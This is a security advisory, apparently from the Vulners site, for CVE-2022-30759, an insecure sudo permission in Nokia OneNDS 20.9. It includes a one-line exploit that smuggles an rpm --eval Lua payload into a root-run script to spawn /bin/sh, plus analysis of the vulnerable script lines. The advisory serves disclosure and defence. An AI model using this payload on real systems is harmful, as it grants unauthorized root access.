| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation Vulnerability | 24 Apr 202300:00 | ā | zdt | |
| CVE-2022-30759 | 3 May 202300:30 | ā | circl | |
| Nokia OneNDS ęé许åÆå访é®ę§å¶é®é¢ę¼ę“ | 21 Apr 202300:00 | ā | cnnvd | |
| CVE-2022-30759 | 2 May 202300:00 | ā | cve | |
| CVE-2022-30759 | 2 May 202300:00 | ā | cvelist | |
| EUVD-2022-52588 | 3 Oct 202520:07 | ā | euvd | |
| CVE-2022-30759 | 2 May 202321:15 | ā | nvd | |
| CVE-2022-30759 | 2 May 202321:15 | ā | osv | |
| Command injection | 2 May 202321:15 | ā | prion | |
| PT-2023-13019 Ā· Nokia Ā· Nokia Onends | 2 May 202300:00 | ā | ptsecurity |
`===============================================================================
title: Incorrect Permission Assignment
product: Nokia OneNDS 20.9
vulnerability type: Security Misconfiguration
severity: High
CVSS Score: 7.8
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
found on: 04/05/2022
by: Giacomo Sighinolfi <[email protected]>
cve: CVE-2022-30759
===============================================================================
Some sudo permissions can be exploited by some users to escalate to root
privileges and execute arbitrary commands on the system.
The affected users are:
Provgw, notifs, dbmrun, (system users)
They can run as root the following script:
/opt/cntdb/bin/noscripts_rpm.sh
It can be exploited with:
sudo /opt/cntdb/bin/noscripts_rpm.sh force-erase
"--eval '%{lua:os.execute(\"/bin/sh\")}'"
===============================================================================
Detailed analysis:
The script accept as first argument one of the these options:
install|update|fallback|erase|test-install|test-update|test-erase|
force-install|force-update|force-erase
and as a second argument an arbitrary rpm package name.
If we analyze the switch case code block (row 175) we can see how the first
argument influence the execution of the script.
175. case "$1" in
ā¦
224. test-erase)
225. TEST_OPTION="--test"
226. OPTION="-e"
227. ;;
ā¦
238. force-erase)
239. TEST_OPTION="--nodeps"
240. OPTION="-e"
241. ;;
ā¦
Using āforce-eraseā or ātest-eraseā as the first argument, it creates āOPTIONā
variable with ā-eā as its value. That value allow us to trigger a privilege
escalation exploiting the rpm command (row 254) with a particular rpm package
name as second parameter passed to the script.
ā¦
252. if [ $OPTION == "-e" ]
253. then
254. rpm $OPTION --noscripts $TEST_OPTION $2
ā¦
===============================================================================
`
Data
Build on a solid foundation withĀ Vulners data
WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data
Api
Power your application withĀ Vulners API
The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access
App
Assess and manage vulnerabilities withĀ VulnersĀ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation